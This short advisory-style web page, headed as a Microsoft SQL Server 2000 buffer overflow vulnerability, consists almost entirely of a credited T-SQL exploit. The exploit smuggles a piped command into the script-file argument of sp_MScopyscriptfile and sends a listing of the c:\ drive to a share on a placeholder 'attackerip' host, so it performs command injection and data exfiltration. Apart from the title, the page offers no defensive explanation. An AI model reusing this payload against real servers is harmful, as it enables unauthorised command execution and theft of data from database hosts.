|
Microsoft SQL Server 2000 Database Consistency Checkers Buffer Overflow Vulnerability
The following exploit was provided by Cesar Cerrudo <cesarc56@yahoo.com>: declare @command varchar(100) declare @scripfile varchar(200) set concat_null_yields_null off select @command='dir c:\ > "\\attackerip\share\dir.txt"' select @scripfile='c:\autoexec.bat > nul" | ' + @command + ' | rd "' exec sp_MScopyscriptfile @scripfile ,'' |
|
 Privacy Statement |
